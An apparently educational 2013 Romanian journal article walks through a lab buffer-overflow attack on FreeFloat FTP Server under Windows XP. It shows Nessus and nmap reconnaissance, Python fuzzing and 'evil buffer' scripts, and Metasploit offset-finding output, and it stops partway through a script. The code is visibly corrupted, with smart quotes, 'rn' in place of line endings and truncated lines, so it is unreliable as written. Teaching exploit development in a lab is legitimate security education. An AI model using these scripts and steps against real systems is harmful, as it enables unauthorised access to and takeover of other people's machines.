Buffer Overflow Vulnerability Exploitation using open – source tools [RO]

Autor: Ionut – Daniel BARBU

Published: IJISC Volume 2, Issue 2, Year 2013

[EN] The purpose of this article is to present an overview of buffer overflow vulnerabilities. During an exploitation of such vulnerability, the attacker uses basic concepts of programming and networking technology to get access to the target machine. Two aspects are worth mentioning: the first one is that the attack was created for teaching purposes and secondly, perhaps more important, the tools used are free and anyone can access them. Obviously, attacks on computer systems can be very complex but as you will discover this attack can be implemented without much effort. I insist on this idea to show that an attacker does not have to be highly trained. Therefore I want to emphasize the importance of security to all users. As a summary, this demonstrates, that following well-defined steps a malevolent person can exploit vulnerabilities detected. It starts with running a scan for vulnerabilities against the network. Reviewing the report generated, the presence of FTP (File Transfer Protocol) should be noted. Going further, it develops the main attack. The success of the attack is confirmed by access to Command Prompt in Windows operating system of the targeted machine.

[RO] Acest articol prezintă un atac de tip “buffer overflow”. Atacatorul foloseşte concepte de bază ale programării şi reţelisticii pentru a obţine accesul la maşina ţintă. Foarte importante ar fi două aspecte: primul dintre ele este acela că atacul a fost creat în scop didactic, iar al doilea, poate mai important, este că instrumentele folosite sunt gratuite şi oricine poate avea acces la ele. Este evident că atacurile asupra sistemelor informatice pot fi foarte complexe dar după cum se va descoperi, un astfel de atac poate fi pus în practică fără un efort foarte mare.  

Insist asupra acestei idei pentru a demonstra că un atacator nu trebuie să fie neapărat foarte instruit iar susţinerea materială de care are nevoie este minimă. Aşadar subliniez importanţa conştientizării securităţii de către toţi ulilizatorii.  Se demonstreaza, deci, pe parcursul acestui articol, că urmând câţiva paşi bine definiţi, o persoană malevolentă poate exploata vulnerabilităţi detectate. Se rulează iniţial o scanare de vulnerabilităţi asupra reţelei. În urma revizuirii raportului generat, s-a observat prezenţa FTP (File Transfer Protocol) -ului. În continuare se dezvoltă atacul principal iar succesul acestuia trimite către port, o instanţă a Command Prompt-ului din Windows. 

Introducere 

În securitatea sistemelor de calcul, o vulnerabilitate este o slăbiciune care permite unui atacator să diminueze siguranţa unui sistem informatic. Vulnerabilitatea poate fi definită ca intersecția a trei elemente: existenţa unei breşe în securitatea sistemului, capacitatea atacatorului de a determina problemele de securitate ale sistemului şi capacitatea atacatorului de a exploata vulnerabilitatea.

Fereastra de vulnerabilitate, breşa în sistemul informatic, este momentul de când sistemul de securitate a fost penetrat până la momentul în care accesul a fost restricţionat şi procesele s-au încheiat.

1.1.  Standardizarea vulnerabilităţilor

În standardul ISO 27005 (International Organization for Standardization) vulnerabilitatea se defineşte ca o slăbiciune a unui activ sau grup de active care pot fi exploatate de către unul sau mai multe ameninţări. IETF RFC 2828 (Internet Engineering Task Force – Request for Comments) defineşte acest termen ca un defect sau slăbiciune într-un sistem de proiectare, implementare, sau operare şi gestionare, care ar putea fi exploatat pentru a încălca politica de securitate a sistemului.

OWASP (Open Web Application Security Project) descrie acelaşi fenomen în termeni usor diferiţi: un agent de ameninţare, printr-un vector de atac exploatează o slăbiciune (vulnerabilitate) a sistemului de securitate, cauzând un impact tehnic privind o resursă IT.

Dezvăluirea responsabilă a vulnerabilităţilor este un subiect important: Microsoft, Google, Adobe, Apple au dezvoltat buletine periodice în care divulgă vulnerabilităţi ale propriilor sisteme şi metode de remediere. Mitre Corporation menţine o listă de vulnerabilităţi descoperite într-un sistem numită lista cu vulnerabilităţi comune şi clasificarea lor (CVSS – Common Vulnerability Scoring System). Deşi aceste instrumente pot oferi prin audit, o bună imagine de ansamblu a posibilelor vulnerabilităţi prezente, ele nu pot înlocui judecata umană. Bazându-se exclusiv pe scanere se vor găsi şi rezultate fals pozitive. Vulnerabilităţi au fost găsite în orice sistem de operare major inclusiv Windows, Mac OS, diferite forme de Unix şi Linux, OpenVMS şi altele.

Subiectul a fost ales pentru a fi tratat întrucat atacurile de tip “buffer overflow” reprezintă o modalitate destul de utilizată în atacurile online. Scopul acestui articol este acela de a prezenta un astfel de atac şi a demonstra cum, folosind instrumente open – source această vulnerabilitate poate fi exploatată. Pentru evitarea unor astfel de atacuri, echipele de programatori trebuie să dezvolte un soft foarte bine pus la punct, să permită testarea lui din punct de vedere al securităţii şi să aducă îmbunătăţiri periodice (,,patch”).

În această prezentare scenariul este următorul: un atacator foloseşte un sistem informatic ce rulează Linux Ubuntu Backtrack 5 şi are ca ţintă un sistem de operare Microsoft Windows XP în care este pornită o instanţă a aplicaţiei FreeFloatFTP. În faza de recunoaştere, este rulat scanner-ul de vulnerabilităţi Nessus de pe sistemul Backtrack 5 asupra reţelei. În urma revizuirii vulnerabilităţilor din raportul generat de scanner, se observă prezenţa FTP-ului. Tot în această fază, pentru confirmare, se face o scanare adiţională de porturi folosind comanda nmap din terminalul de Backtrack5.

În cea de-a doua fază, atacatorul începe prin trimiterea unei secvenţe care are ca scop determinarea lungimii şirului de caractere care poate opri rularea aplicaţiei FreeFloatFTP. După ce această informaţie este obţinută, se trece la scrierea script-ului ce va fi utilizat la final. Rezumând această etapă, putem afirma că ea constă în: determinarea lungimi şirului de caractere, ataşarea debugger-ului Immunity de FreeFloatFTP Server pentru a determina informaţii legate de regiştri EIP (Extended Instruction Pointer) şi ESP (Extended Stack Pointer) şi obţinerea intervalului ce poate fi rescris pentru a introduce instrucţiunile dorite, cele cu scopul de a deschide un port ales. Ultima parte a atacului debutează cu generarea secvenţei ce va înlocui spaţiul de memorie ce poate fi rescris. Ulterior se rulează script-ul ce va trimite secvenţa de cod iar mai apoi se folosesşte comanda netcat pentru a asculta pe portul ales. Succesul atacului va trimite către port, o instanţă a Command Prompt-ului din Windows. Având acesta la îndemână, am ales să modific registrul care activează “Remote Desktop Connection”. În scopuri demonstrative, am creat mai apoi un user pe care l-am adăugat în grupul “Remote Desktop Users”. În consecinţă am obţinut controlul maşinii ţintă, confirmând succesul atacului.

2. Scurt Istoric 

În data de 2 noiembrie 1988 un absolvent al Universităţii Cornell din Statele Unite, Robert Morris Jr., a executat un program de tipul vierme, primul program care a afectat într-un mod foarte serios Internet-ul. În decursul a câteva ore a fost format un grup de voluntari care să rezolve cât mai rapid această situaţie urgentă. Membrii grupului, denumit „Virus Net”, comunicau cu ajutorul telefonului şi al segmentelor neafectate ale reţelei. Modalitatea prin care programul a infectat şi oprit atât de multe calculatoare este foarte simplă: după ce programul infecta un calculator crea două copii ale sale în memorie, al căror scop era să caute alte calculatoare care să poată fi infectate. Aceste două copii creau fiecare la rândul lor câte două copii ale virusului. Un calcul simplu, arată că la a 16-a „generaţie” pe calculator existau mai mult de 65 de mii de copii ale programului pe sistemul infectat, şi alte 65 de mii de alte calculatoare cercetate pentru a fi infectate. Cum programul nu se oprea, el ajungea în timp foarte scurt să consume toate resursele calculatorului. Deşi nu a avut efecte catastrofale, Internet-ul fiind format din foarte puţine calculatoare la acea vreme acest incident a tras un serios semnal de alarmă în ceea ce priveşte securitatea sistemelor informatice.

Buffer overflow a fost înțeles și parțial documentat public încă din 1972.

3. Buffer Overflow 

În securitatea calculatoarelor și a programelor, un buffer overflow, este o anomalie într-un program care permite scrierea de date într-un un tampon și suprascrierea memoriei adiacente. Poate fi declanşat de intrări, care sunt concepute pentru a executa cod, sau să modifice modul în care programul funcționează. Acest lucru poate duce la un comportament haotic al programului, inclusiv erori de memorie, rezultate incorecte, sau o încălcare a securității sistemului. Astfel, ele sunt baza multor vulnerabilități software.

Limbaje de programare frecvent asociate cu buffer overflow includ C și C + +, care nu oferă nici un mod de protecție împotriva accesării sau suprascrierii datelor. Un buffer overflow se produce atunci când datele scrise la un tampon corup valorile date în memorie, adrese adiacente tampon şi sunt cauzate de condiţii insuficiente la verificare. Erorile sunt cauzate atunci când un program scrie mai multe date pentru un tampon situat pe stivă decât a fost efectiv alocat pentru acesta. Dacă programul afectat se execută cu privilegii speciale, sau accepta date de la gazde din reţele nesigure atunci este o potențială vulnerabilitate de securitate.

4. Exploatarea 

Tehnicile de a exploata o vulnerabilitate buffer overflow variază în funcție de arhitectura sistemului de operare și de regiunea de memorie. O metodă ar fi aşa – numita “trampolining”, cazul în care adresa datelor furnizate de utilizator este necunoscută, dar locația este stocată într-un registru, apoi adresa de returnare poate fi suprascrisă cu adresa unui opcode care va provoca executarea pentru a sări la datele furnizate de atacator. Dacă locația este stocată într-un registru R, apoi un salt la locația care conține opcode pentru un salt R, apelarea R sau o instrucţiune similară, va duce la executarea datelor furnizate de utilizator.

Locațiile de opcodes pot fi găsite în DLL (Dynamic Lync Library) -uri sau executabile în sine. Cu toate acestea, adresa opcode de obicei, nu poate conține orice caractere nule și locațiile acestor opcodes pot varia între aplicații și versiuni ale sistemului de operare. Proiectul Metasploit este o bază de date de opcodes adecvate, deși doar cele găsite în sistemul de operare Windows sunt listate.

4.1 Practici de exploatare

Tehnica NOP este cea mai veche și cea mai cunoscută pentru exploatarea cu succes a unei vulnerabilităţi buffer overflow. Se rezolvă problema de a găsi adresa exactă a tampon-ului prin creșterea în mod eficient a dimensiunii zonei țintă. Pentru a face acest lucru, secțiuni mult mai mari ale stivei sunt deteriorate cu instrucțiuni mașină NOP. La sfârșitul datelor furnizate de atacator, după instrucțiunile de NOP, el plasează o instrucțiune pentru a efectua un salt către partea de sus a tampon-ului unde va plasa shellcode. Datorită popularității acestei tehnici, mulți furnizori de sisteme de prevenire a intruziunilor vor căuta instrucțiuni mașină NOP într-o încercare de a detecta shellcode în uz. O alta metodă folosită este tehnica salt-ului la registru ce permite exploatarea unui buffer overflow fără a fi nevoie de spațiu suplimentar pentru un NOP. Strategia este de a suprascrie indicatorul care va face programul să sară la începutul shellcode-ului. Soluția tradițională este de a găsi o instanță neintenționată a unui opcode adecvat la un punct fix undeva în memoria program. Un exemplu de astfel de instanță neintenționată a i386 este JMP ESP. Atunci când această tehnică este posibilă, severitatea vulnerabilităţii crește considerabil. În securitatea informaţiilor, un shellcode este o mică bucată de cod folosită ca sarcina utilă în exploatarea unei vulnerabilităţi software. Acesta este de obicei scris în limbaj mașină.

4.2 Buffer Overflow în ansamblu

În starea cea mai de bază, buffer overflow este un defect de programare. La nivelul-ul următor se analizeaza buffer overflow ca o vulnerabilitate de securitate, potențial urmată de buffer overflow ca atac. La nivelul superior al ierarhiei, buffer overflow poate reprezenta un incident de securitate. Din punct de vedere al incidentelor bazate pe buffer overflow distingem câteva clasificări. Clasificarea în funcţie de scop este vastă întrucât un atac de tip buffer overflow poate avea scopuri mai restrânse cum ar fi un refuz de serviciu (DOS – Denial of Service) dar şi scopuri elaborate cum ar fi penetrarea pentru obţinerea de date importante. De asemenea, în cadrul atacurilor, platformele ofensive variază folosindu-se astfel aproape toate sistemele de operare. Totuşi, este clar că cea mai folosită platformă în securitatea ofensivă este Linux. Am putea continua printr-o clasificare a strategiilor de livrare. Buffer overflow este caracterizat de o injectare de date în exces într-un proces. Pentru a ajunge la procesul dorit, un atacator trebuie să insereze cod rău intenționat. În cele mai multe cazuri, vulnerabilitatea poate fi un proces care ascultă pe un port de comunicații deschis sau un proces care acceptă date de intrare neverificate.

4.3 O viziune tehnică asupra buffer overflow.

Un buffer overflow apare într-un program oricând programul scrie mai multe informații într-o matrice tampon, decât spațiul alocat în memorie pentru ea. Buffer overflow – urile sunt definite ca erori de programare, care sunt de obicei introduse într-un program ca rezultat al neimplementării condiţiilor de frontieră. De asemenea sunt defecte de programare ca rezultat direct al unor funcții de bibliotecă C utilizate pe scară largă. Un buffer overflow poate apărea accidental în timpul execuției unui program. Într-un atac buffer overflow, obiectivul atacatorului este de a folosi vulnerabilitatea pentru a corupe informațiile într-un mod atent controlat. Dacă atacul se face cu success, atacatorul obţine în mod efficient controlul sistemului. O dată ce controlul este transferat la codul maliţios, se execută instrucțiunile date care au ca scop, de obicei, acordarea de acces complet neautorizat la sistem.

Un atac de tip buffer overflow poate fi local sau la distanță. Într-un atac local, atacatorul are deja acces la sistem și poate fi interesat de cresterea privilegiulului. Un atac de la distanță este livrat printr-un port de rețea.

Rezumând, un atac de tip buffer overflow, de obicei, este format din trei părți: plantarea codului de atac în programul țintă, copierea efectivă în tampon, deturnarea controlului pentru a executa cod de atac.

În scopul de a înțelege ce se întâmplă în timp ce se executa un binar, avem nevoie de o privire asupra organizării memoriei virtuale. Ea se bazează pe diferite zone bine definite pentru segmentarea sarcinilor.

De fiecare dată când o funcție este apelată, trebuie creat un mediu nou în spațiu de memorie pentru variabilele locale şi parametrii funcției. Noi folosim termenul de “mediu”, pentru a defini toate elementele care apar în timpul execuţiei unei funcţii. ESP (indicatorul de stivă extinsă) este registrul care deține adresa stivei. Este important de remarcat faptul că ESP este dependent de arhitectură și poate, uneori, indica primul spațiu liber în stivă. ESP poate fi schimbat într-un număr de moduri, atât direct cât și indirect.

Executarea unei funcții este împărțită în trei etape distincte: prologul (într-o funcție, două cerințe trebuie să fie îndeplinite: starea stivei trebuie să fie salvată înainte de intrarea în funcție şi cantitatea de memorie necesară pentru a rula funcția, trebuie să fie rezervată.), funcția de apel (atunci când o funcție este apelată, parametrii sunt împinsi pe stivă și indicatorul de instrucțiuni IP este salvat pentru a permite restul programului reluării execuției de la locul corect după ce funcția a finalizat executarea acesteia), revenirea funcției (restabilește organizarea memoriei).

Principala problemă cu buffer overflow, din punct de vedere al exploatării este găsirea regiunii ce permite suprascrierea. Ţinte ale atacurilor de tip buffer overflow, sunt de obicei maşinile care rulează Windows. Pentru o lungă perioada de timp s-a considerat ca acest atac este pur teoretic dar între timp s-a demonstrat că poate fi pus şi în practică destul de usor.

Biblioteca standard C este formată din categorii de funcții utilizate pentru sarcini de programare foarte utilizate. Directiva “#include” îndeplinește această sarcină. Ca un exemplu, string.h, fișierul header, oferă acces la o gamă de funcții care se ocupă cu şiruri de caractere. În mod similar, stdio.h este fișierul header care oferă accesul la o întreagă gamă de funcții ce au de a face cu intrări și ieșiri ale datelor din programe. Biblioteca standard C conţine 18 antete standard, care includ sute de funcții. Cele mai multe probleme buffer overflow le generează chiar utilizarea acestora. Poate cea mai periculoasă clasă de funcții este cea asociată cu operațiunile pentru șir care nu efectuează nici o verificare (strcpy, strcat, sprint). Clasa de funcţii str. * () include strcpy() și strcat(). Strcpy() este funcția de copiere a unui șir sursă într-un tampon de destinație. Nu există un anumit număr de caractere ce pot fi copiate și această caracteristică duce la probleme. Numărul de caractere copiate este direct dependent de cât de multe caractere sunt în șirul sursă. Unele funcții au așa – numitele alternative mai sigure: strncpy() și strncat(). Utilizarea strncpy() are implicații de performanță, pentru că umple cu zero tot spațiul disponibil.

Memory

5 Prezentare generală a metodei utilizate  

BackTrack este o distribuţie bazată pe GNU / Linux Debian care vizează criminalistica digitală și testerea de penetrare. În martie 2013, echipa Offensive Security a înlocuit această distribuţie cu Kali Linux. BackTrack oferă utilizatorilor o colecție cuprinzătoare de instrumente legate de securitate, de la scanere de porturi la auditori de securitate.

În domeniul securităţii calculatoarelor, Nessus este un scaner de vulnerabilităţi dezvoltat de Tenable Network Security. Acesta este gratuit pentru uz personal. Nessus permite scanări pentru următoarele tipuri de vulnerabilități: cele care permit unui hacker accesul de la distanță la datele sensibile de pe un sistem; greșelile (de exemplu patch-uri care lipsesc, etc); parolele implicite, câteva parole comune și parole goale / absente pe unele conturi de sistem; Nessus poate apela, de asemenea, Hydra (un instrument extern) pentru a lansa un atac de tip dicționar; refuzurile de serviciu față de stiva TCP / IP (Transmission Control Protocol/Internet Protocol); pregătirea pentru audituri PCI DSS (Payment Card Industry Data Security Standard);

În timpul funcționării tipice, Nessus începe prin a face o scanare de porturi, cu una din cele patru portscanere interne (sau se poate utiliza opțional AMAP sau Nmap) pentru a stabili care porturi sunt deschise pe țintă și apoi încearcă diferite exploatări ale acestora. Testele de vulnerabilitate, disponibile, sunt scrise în NASL (Nessus Atac Scripting Language), un limbaj de scripting optimizat pentru interacțiunea prin reţea.

FreeFloatFTP Server

File Transfer Protocol (FTP) este un protocol de rețea standard utilizat pentru a transfera fișiere de la o gazdă la alta prin intermediul unei rețele bazate pe TCP, cum ar fi Internetul. FTP este construit pe o arhitectură client-server. Utilizatorii FTP se pot autentifica folosind un text clar, în mod normal, sub forma unui nume de utilizator și o parolă , dar se pot conecta şi anonim dacă serverul este configurat pentru a permite acest lucru. FTP este adesea securizat cu TLS / SSL (Transport Layer Security/Secure Socket Layer). Secure File Transfer Protocol (“SFTP”) este uneori folosit, dar este diferit din punct de vedere tehnologic. Primele aplicații client FTP au fost instrucţiuni de linie de comandă dezvoltate înainte de sistemele de operare cu interfețe grafice, și sunt încă utilizate.

Immunity Debugger este un soft folosit în analiza modului de rulare a programelor, şi prelucrarea pentru inginerie inversă. Se bazează pe o interfață grafică şi poate fi extins folosind Python API (Application programming interface). Este un debugger conceput special pentru industria securităţii.

5.1 Sistemul informatic ţintă: Microsoft Windows XP Service Pack 3

Microsoft lansează ocazional pachete de service pentru sistemele sale de operare Windows pentru a rezolva problemele și a adăuga caracteristici. Windows XP a fost criticat de către unii utilizatori în ceea ce priveşte vulnerabilitățile de securitate la aplicaţii cum ar fi Internet Explorer și Windows Media Player. Windows XP Service Pack 3 (SP3) cuprinde un total de 1174 remedieri dintre care majoritatea priveau securitatea.

5.1.1 Starea reţelei

Pentru a observa atributele reţelei, se va rula în Command Prompt comanda ipconfig iar informaţiile obţinute sunt:

IP Address: 192.168.56.201

Subnet Mask: 255.255.255.0

Default Gateway: 192.168.56.1 

5.1.2 Vulnerabilitatea – FreeFloat FTP Server

Freefloat FTP Server este instalat şi are o instanţă pornită. Pentru a confirma pornirea aplicaţiei FTP se analizează starea porturilor de reţea. În cazul de faţă se observă că portul 21 este în „Listening” State.

5.2 Sistemul informatic sursă: Linux Backtrack 5

Maşina aleasă ca sursă a atacului are ca sistem de operare BackTrack5. Opţiunea nu a fost aleatorie, ci s-a bazat pe suita vastă de aplicaţii utile în testarea securităţii. Pentru accesul la sistem am creat user-ul root caruia i-am atribuit parola toor. În cadrul maşinii care are instalat Linux BackTrack 5 s-a ales rularea unei instanţe Nessus pentru a determina vulnerabilităţile din sistemele aparţinând aceleiaşi reţele. Pentru a fi accesat, este necesară pornirea browser-ului Mozilla şi navigarea către adresa locală: https://localhost:8834. De asemenea, şi în acest caz user-ul a fost ales root iar parola toor. Detaliile, în ceea ce priveşte reţeaua se pot determina în BackTrack5 rulând în terminal comanda ifconfig.

5.3 Conceperea atacului

În procesul de exploatare a vulnerabilităţilor unui sistem, primul pas este determinarea acestora. Din metodele utilizate pentru a observa breşele de securitate, am ales rularea unei scanări folosind Nessus instalat în maşina bazată pe Linux BackTrack5 şi de asemenea comanda nmap. Pentru a porni scanarea se navighează în browser-ul Mozilla la adresa locală: https://localhost:8834 şi după logare, se alege New Scan din meniul Scans. Am ales ca ţintă a scanării reţeaua 192.168.56.0/24. Pentru a confirma faptul că a început scanarea se verifică pagina Listing Scans din interfaţa scannerului. În momentul în care scanarea de vulnerabilităţi s-a terminat, următorul pas este observarea rezultatelor. Se observă astfel că una din vulnerabilităţile găsite în sistemul 192.168.56.201 este FTP Server Detection. De menţionat este faptul că Nessus a fost capabil să determine şi aplicaţia folosită, ba mai mult, chiar versiunea. Pentru a confirma informaţiile furnizate de către Nessus am ales comanda nmap din terminalul BackTrack 5. Mai precis, am ataşat opţiunea –F (FAST) întrucât numărul de porturi scanate în acest caz este mult mai mic iar portul 21, echivalent FTP, este unul din porturile importante.

În consecinţă, după comanda root@bt:~# nmap -F 192.168.56.0/24, rezultatele au fost următoarele:

Nmap scan report for 192.168.56.201

Host is up (0.00021s latency).

Not shown: 96 closed ports

PORT STATE SERVICE

21/tcp open ftp

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:36:69:82 (Cadmus Computer Systems)

Dupa momentul detectării vulnerabilităţii sistemului, este necesară determinarea lungimii şirului de caractere capabil să împiedice rularea corectă a programului FreeFloat FTP Server. În consecinţă, folosind Python s-a dezvoltat un script care are ca rol trimiterea comenzii MKD însoţită de un şir de caractere „A” a cărui lungime este incrementată succesiv. Acest script a fost denumit simple-fuzzer.py şi a fost stocat în subdirectorul fuzzers al directorului pentest din Backtrack 5.

root@bt:~# cd /pentest

root@bt:/pentest# cd fuzzers

root@bt:/pentest/fuzzers# cat simple-fuzzer-ini.py 

Acest script foloseşte o buclă pentru a incrementa succesiv lungimea şirului de caractere trimise. După instrucţiunile iniţiale, se trece la definirea şi trimiterea comenzii MKD prin portul 21 al adresei 192.168.56.201. O primă formă a script-ului arată astfel:

#!/usr/bin/python 

import socket 

#Creeaza un vector de buffer, cu incrementari successive. 

buffer=[“A”] 

counter=20 

while len(buffer) <= 30: 

buffer.append(“A”*counter) 

counter=counter+100 71 

# Definirea comenzii FTP ce va fi trimisa:

commands=[“MKD”] 

# Rularea buclei: 

for command in commands: 

for string in buffer: 

print “Sending command “+ command + ” with ” +str(len(string)) + ” bytes”

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# AF_INET este familia de adrese necesara pentru utilizarea Internet Protocol in Unix.

# SOCK_STREAM faciliteaza transmiterea secventiala bidirectionala de biti.

connect=s.connect((‘192.168.56.201’,21)) #adresa tinta 

s.recv(1024)

s.send(‘USER ftprn’) # procedura de logare 

s.recv(1024) 

s.send(‘PASS ftprn’)

s.recv(1024) 

s.send(command +’ ‘ + string + ‘rn’) # codul malitios 

s.recv(1024) 

s.send(‘QUITrn’) 

s.close() 

Înainte de a rula atacul iniţial, de recunoaştere, într-un terminal BackTrack 5 s- a testat conexiunea folosind comanda ftp:

root@bt:/# ftp 192.168.56.201 

Connected to 192.168.56.201. 

220 FreeFloat Ftp Server (Version 1.00). 

Name (192.168.56.201:root): ftp 

331 Password required for ftp. 

Password: 

230 User ftp logged in. 

ftp> bye 

221 Goodbye 

Se trece astfel la pornirea atacului iniţial acordând mai apoi drepturile necesare scriptului.

root@bt:/pentest/fuzzers# chmod 777 simple-fuzzer- ini.py

root@bt:/pentest/fuzzers# ./simple-fuzzer-ini.py

Sending command MKD with 1 bytes

Sending command MKD with 20 bytes

Sending command MKD with 120 bytes

Sending command MKD with 220 bytes

Sending command MKD with 320 bytes

Sending command MKD with 420 bytes

Sending command MKD with 520 bytes

Sending command MKD with 620 bytes

Sending command MKD with 720 bytes

Sending command MKD with 820 bytes 

Având în vedere scopul de a suprascrie întreg şirul, pentru ca atacul următor să poată opri FreeFloat FTP Server cu siguranţă, se va alege o lungime a şirului de 1000 de caractere.  Exploatarea vulnerabilităţii găsite se află în stadiul în care majoritatea informaţiilor necesare au fost obţinute şi se poate trece la dezvoltarea scriptului final.

 root@bt:/pentest/fuzzers# nano skeleton-ini.py 

root@bt:/pentest/fuzzers# chmod 777 skeleton-ini.py

root@bt:/pentest/fuzzers# nano skeleton-ini.py  

Acest script are un rol similar cu simple- fuzzer.py. Diferenţa majoră este că cele 1000 de caractere vor fi înlocuite pe parcurs.

#!/usr/bin/python

import socket 

import sys 

buffer =’x41′ * 1000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print “nSending evil buffer…” 

connect=s.connect((‘192.168.56.201’,21))

s.send(‘USER ftp’ +’rn’); s.recv(1024) 

s.send(‘PASS ftp’ +’rn’); s.recv(1024) 

s.send(‘MKD ‘ + buffer + ‘rn’); s.recv(1024) 

s.send(‘QUITrn’);s.close()

 

root@bt:/pentest/fuzzers# ./skeleton-ini.py 

Sending evil buffer… 

În scopuri didactice, atacul este reprodus şi din punct de vedere al ţintei pentru a determina regiştrii afectaţi de rularea scripturilor. Se foloseşte astfel Immunity Debugger. Iniţial, după ce a fost ataşat, programul va întrerupe rularea şi va intra într- o stare de pauză. Este necesară asftel apăsarea butonului Play pentru a continua. O primă observaţie importantă este suprascrierea registrului EIP. De asemenea este suprascris şi „stack pointer-ul” ESP – 00B3FC2C.

În acest moment este necesară determinarea exactă a caracterelor ce au suprascris registrul EIP. Metoda folosită este  înlocuirea celor 1000 de caractere „A” cu un şir unic de aceeaşi lungime şi localizarea mai apoi a caracterelor ce au suprascris EIP.

Proiectul Metasploit este un proiect de securitate informatică care oferă informații cu privire la vulnerabilitățile de securitate și ajută la teste de penetrare și dezvoltarea de semnatura IDS (intrusion detection system). Din suita de aplicaţii disponibile în Metasploit Backtrack 5 s-a ales scriptul Ruby pattern_create.rb pentru a genera şirul unic de 1000 de caractere.

root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 1000  Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9

Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9

Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0

Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9

Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1

Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1

Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8

An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7

Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8

At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7

Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5

Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4

Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3

Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1

Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9

Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8

Bg9Bh0Bh1Bh2B

Se trece la modificarea scriptului iniţial pentru a genera din nou atacul. Se modifică astfel şirul iniţial de 1000 de caractere „A” cu şirul unic obţinut.

root@bt:/pentest/fuzzers# nano skeleton-sec.py 

#!/usr/bin/python

import socket

import sys

#buffer =’x41′ * 1000

buffer=”Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5

Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3

Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af$

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print “nSending evil buffer…” 

connect=s.connect((‘192.168.56.201’,21))

s.send(‘USER ftp’ +’rn’);s.recv(1024) 

s.send(‘PASS ftp’ +’rn’);s.recv(1024) 

s.send(‘MKD ‘ + buffer + ‘rn’);s.recv(1024) 

s.send(‘QUITrn’);s.close()

root@bt:/pentest/fuzzers# chmod 777 skeleton-sec.py

Este necesară repornirea FreeFloat FTP Sever şi reataşarea Immunity Debugger.

root@bt:/pentest/fuzzers# ./skeleton-sec.py 

Sending evil buffer…  

După rularea scriptului skeleton-sec.py se analizează din nou informaţiile din EIP. Ştiind EIP – 69413269 se apeleaza la scriptul pattern_offset.rb disponibil tot în suita Metasploit pentru a determina locaţia caracterelor în sirul unic.

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 69413269 

247 

Similar se va proceda şi în cazul registrului ESP iar informaţiile rezultate sunt:

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb i6Ai 

259

Pentru confirmarea informaţiilor găsite, s-a decis reconfigurarea şirului de caractere trimis. Astfel în scriptul skeleton-thi.py s-au înlocuit cele 1000 de caractere unice cu: 247 „A”, 4 „B”, 8 „C” şi 741 „D”.

root@bt:/pentest/fuzzers# nano skeleton-thi.py  

În consecinţă se modifică script-ul, i se atribuie drepturile necesare şi se rulează.  root@bt:/pentest/fuzzers# nano skeleton-thi.py

#!/usr/bin/python

                import socket

import sys 

#buffer =’x41′ * 1000 

#buffer=”Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7

Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7

Ad8Ad9Ae0Ae1AA=”Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3

Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2

Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1A$ 80 

